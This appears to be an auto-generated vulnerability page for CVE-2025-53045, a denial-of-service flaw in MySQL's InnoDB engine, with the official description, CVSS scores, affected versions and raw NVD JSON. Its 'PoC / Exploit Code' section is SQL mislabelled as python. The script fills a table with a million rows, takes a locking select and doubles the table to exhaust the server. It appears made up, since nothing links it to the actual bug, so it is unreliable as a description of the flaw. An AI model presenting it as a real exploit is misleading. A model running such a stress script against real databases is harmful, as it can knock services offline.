Security Vulnerability Report
中文
CVE-2025-53045 CVSS 4.9 MEDIUM

CVE-2025-53045

Published: 2025-10-21 20:20:42
Last Modified: 2025-10-23 16:07:10

Description

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:* - VULNERABLE
Oracle MySQL Server 8.0.0 - 8.0.43
Oracle MySQL Server 8.4.0 - 8.4.6
Oracle MySQL Server 9.0.0 - 9.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
-- PoC for CVE-2025-53045: Oracle MySQL InnoDB DoS Vulnerability -- Note: This vulnerability requires high-privileged access to exploit -- The PoC demonstrates triggering InnoDB resource exhaustion via crafted operations -- Step 1: Connect to MySQL with high-privilege credentials -- mysql -u root -p -- Step 2: Create a test database and table using InnoDB engine CREATE DATABASE IF NOT EXISTS cve_test_db; USE cve_test_db; CREATE TABLE t1 ( id INT AUTO_INCREMENT PRIMARY KEY, data LONGTEXT, index_idx INT, INDEX idx_data (data(255)), INDEX idx_index (index_idx) ) ENGINE=InnoDB; -- Step 3: Insert large amount of data to stress InnoDB DELIMITER $$ CREATE PROCEDURE stress_innodb() BEGIN DECLARE i INT DEFAULT 0; WHILE i < 1000000 DO INSERT INTO t1 (data, index_idx) VALUES (REPEAT('A', 1024), i); SET i = i + 1; END WHILE; END$$ DELIMITER ; -- Step 4: Trigger the vulnerability via crafted transaction operations -- This may cause InnoDB internal state corruption leading to hang/crash START TRANSACTION; SELECT * FROM t1 WHERE data LIKE '%AAAA%' FOR UPDATE; -- Perform concurrent operations to trigger the bug INSERT INTO t1 (data, index_idx) SELECT data, index_idx FROM t1; ROLLBACK; -- Step 5: Repeat operations to cause denial of service -- The server may hang or crash due to InnoDB resource exhaustion CALL stress_innodb();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53045", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:41.780", "lastModified": "2025-10-23T16:07:10.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.0.43", "matchCriteriaId": "529028FC-6CB5-4885-A524-F26B8F81BD98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndIncluding": "8.4.6", "matchCriteriaId": "7C415C1E-D09A-43DD-A1FB-8B0B9517FE42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.4.0", "matchCriteriaId": "5FAEE4AC-4A0D-42A4-BF83-33288DD15BE1"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}